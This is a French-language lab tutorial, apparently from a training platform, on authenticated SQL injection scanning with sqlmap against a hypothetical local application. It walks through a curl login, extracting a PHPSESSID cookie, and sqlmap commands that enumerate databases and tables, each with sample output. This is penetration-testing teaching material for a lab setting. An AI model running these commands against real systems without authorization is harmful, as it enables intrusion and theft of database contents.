Introduction
Dans les tests d'intrusion d'applications web, de nombreuses vulnérabilités existent dans des zones qui nécessitent une authentification utilisateur. Des outils comme sqlmap, un puissant outil open-source de tests d'intrusion qui automatise le processus de détection et d'exploitation des failles d'injection SQL, ont besoin d'un moyen d'accéder à ces sections protégées. Ce laboratoire vous guidera à travers le processus de réalisation de scans authentifiés à l'aide de cookies de session avec sqlmap. Vous apprendrez à extraire les cookies de session d'un navigateur, puis à les utiliser pour indiquer à sqlmap de maintenir une session authentifiée lors du scan. Cette technique est cruciale pour des évaluations de sécurité complètes des applications web modernes.
Connexion à une application web cible
Dans cette étape, vous allez simuler la connexion à une application web cible. Dans le cadre de ce laboratoire, nous supposerons qu'une application web s'exécute localement et nécessite une authentification. Vous utiliserez curl pour simuler une requête de connexion et obtenir un cookie de session. Dans un scénario réel, vous vous connecteriez généralement via un navigateur web.
Tout d'abord, simulons une connexion réussie à une application hypothétique. Nous utiliserons curl pour envoyer une requête POST avec des identifiants factices. La réponse du serveur inclura un en-tête Set-Cookie si la connexion réussit.
curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login
L'option -c cookiejar.txt indique à curl d'écrire tous les cookies reçus dans un fichier nommé cookiejar.txt. Après avoir exécuté cette commande, un fichier nommé cookiejar.txt devrait être créé dans votre répertoire courant (~/project).
Maintenant, visualisons le contenu du fichier cookiejar.txt pour voir le cookie de session.
cat cookiejar.txt
Vous devriez voir une sortie similaire à celle-ci, contenant les informations du cookie de session :
## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.
localhost FALSE / FALSE 0 PHPSESSID a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
La partie importante ici est la valeur PHPSESSID (par exemple, a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6). C'est votre cookie de session.
Extraire la chaîne de cookie de session du navigateur
Dans cette étape, vous apprendrez à extraire manuellement la chaîne de cookie de session. Bien que curl l'ait automatiquement enregistrée dans cookiejar.txt à l'étape précédente, comprendre comment l'extraire manuellement est crucial pour les scénarios réels où vous pourriez vous connecter via un navigateur web.
À partir du fichier cookiejar.txt, vous devez identifier la chaîne de cookie réelle. Dans notre exemple, c'est PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6.
Vous pouvez utiliser grep et awk pour extraire uniquement la valeur du cookie du fichier cookiejar.txt.
grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'
Cette commande affichera uniquement la chaîne du cookie, par exemple :
PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
C'est la chaîne que vous fournirez à sqlmap en utilisant l'option --cookie. Copiez cette chaîne, car vous en aurez besoin à l'étape suivante.
Utiliser l'option --cookie pour fournir le cookie de session
Maintenant que vous avez extrait le cookie de session, vous pouvez l'utiliser avec sqlmap pour effectuer un scan authentifié. L'option --cookie dans sqlmap vous permet de spécifier la valeur de l'en-tête HTTP du cookie.
Pour ce laboratoire, nous supposerons qu'une page vulnérable existe à l'adresse http://localhost:8080/authenticated_page.php?id=1. Cette page nécessite la présence du cookie PHPSESSID pour y accéder.
Remplacez YOUR_COOKIE_STRING par la chaîne de cookie réelle que vous avez extraite à l'étape précédente (par exemple, PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6).
sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1
Analysons la commande sqlmap :
-u "http://localhost:8080/authenticated_page.php?id=1": Spécifie l'URL cible.--cookie="YOUR_COOKIE_STRING": Fournit le cookie de session àsqlmap. C'est la partie cruciale pour les scans authentifiés.--batch: Exécutesqlmapen mode non interactif, acceptant les choix par défaut.--forms: Indique àsqlmapd'analyser et de tester les formulaires sur l'URL cible.--level=1 --risk=1: Définit le niveau de détection et le risque. Pour un test rapide, les niveaux 1 et risque 1 sont suffisants.
Exécutez la commande. sqlmap commencera à scanner l'URL spécifiée, en utilisant le cookie fourni pour maintenir la session authentifiée.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |___|
|_|___|
sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.
[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)
[00:00:00] [INFO] starting @00:00:00
... (sqlmap output will vary based on target and findings) ...
[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX
La sortie affichera la progression de sqlmap et les éventuelles découvertes. Si le scan se déroule sans erreurs liées à l'authentification, cela indique que sqlmap a utilisé le cookie avec succès.
Exécuter un scan sur une page nécessitant une authentification
Dans cette étape, nous allons affiner notre commande sqlmap pour cibler spécifiquement une page qui nécessite une authentification et qui pourrait être vulnérable. Nous utiliserons une sortie légèrement plus détaillée pour observer le comportement de sqlmap.
Supposons que authenticated_page.php soit effectivement vulnérable à l'injection SQL via le paramètre id. Nous utiliserons l'option --dbs pour tenter d'énumérer les bases de données, ce qui est une première étape courante dans l'exploitation des injections SQL.
Encore une fois, remplacez YOUR_COOKIE_STRING par votre cookie de session réel.
sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1
L'option --dbs tente d'énumérer les noms des bases de données. Si sqlmap utilise le cookie avec succès, il devrait pouvoir accéder à la page et procéder à l'énumération des bases de données.
Observez la sortie. Si sqlmap signale avoir trouvé des bases de données (par exemple, information_schema, mysql, testdb), cela confirme que le scan authentifié a réussi. S'il signale "no injectable parameters found" (aucun paramètre injectable trouvé) ou "page not accessible" (page inaccessible), cela pourrait indiquer un problème avec le cookie ou l'URL cible.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |___|
|_|___|
sqlmap/1.6.12#stable (identifying back-end DBMS)
... (initial checks) ...
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb
[00:00:XX] [INFO] closing @00:00:XX
La présence des noms de bases de données dans la sortie confirme que sqlmap a pu accéder à la page authentifiée et effectuer le test d'injection.
Confirmer que le scan s'exécute en tant qu'utilisateur authentifié
Dans cette dernière étape, nous allons confirmer que sqlmap fonctionne bien en tant qu'utilisateur authentifié en observant son comportement et les résultats potentiels. Un indicateur clé est de savoir si sqlmap peut accéder et tester des paramètres sur des pages qui ne sont visibles qu'après la connexion.
Si sqlmap a réussi à énumérer les bases de données à l'étape précédente, c'est une forte confirmation. Pour renforcer cela, vous pouvez essayer d'extraire des données d'une des bases de données découvertes, par exemple testdb.
Remplacez YOUR_COOKIE_STRING par votre cookie de session réel.
sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1
Ici, -D testdb spécifie la base de données cible, et --tables tente d'énumérer les tables dans cette base de données. Si sqlmap peut lister les tables de testdb, cela prouve de manière définitive qu'il fonctionne dans le contexte authentifié.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |___|
|_|___|
sqlmap/1.6.12#stable (identifying back-end DBMS)
... (initial checks) ...
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users |
+----------+
[00:00:XX] [INFO] closing @00:00:XX
La sortie affichant les noms des tables (par exemple, users, products) sous la base de données testdb confirme que sqlmap a réussi à maintenir la session authentifiée et a pu effectuer une énumération plus approfondie dans la zone protégée de l'application. Cela démontre l'efficacité de l'utilisation des cookies pour les scans authentifiés.
Résumé
Dans ce laboratoire, vous avez appris avec succès à effectuer des scans authentifiés à l'aide de sqlmap en exploitant les cookies de session. Vous avez commencé par simuler une connexion à une application web et extrait le cookie de session. Ensuite, vous avez utilisé l'option --cookie dans sqlmap pour fournir ce cookie, permettant à l'outil d'accéder et de scanner les pages qui nécessitent une authentification. Enfin, vous avez confirmé le succès du scan authentifié en observant la capacité de sqlmap à énumérer les bases de données et les tables dans la zone protégée de l'application. Cette compétence est fondamentale pour mener des évaluations de sécurité complètes des applications web modernes où une grande partie des fonctionnalités se trouve derrière une connexion.


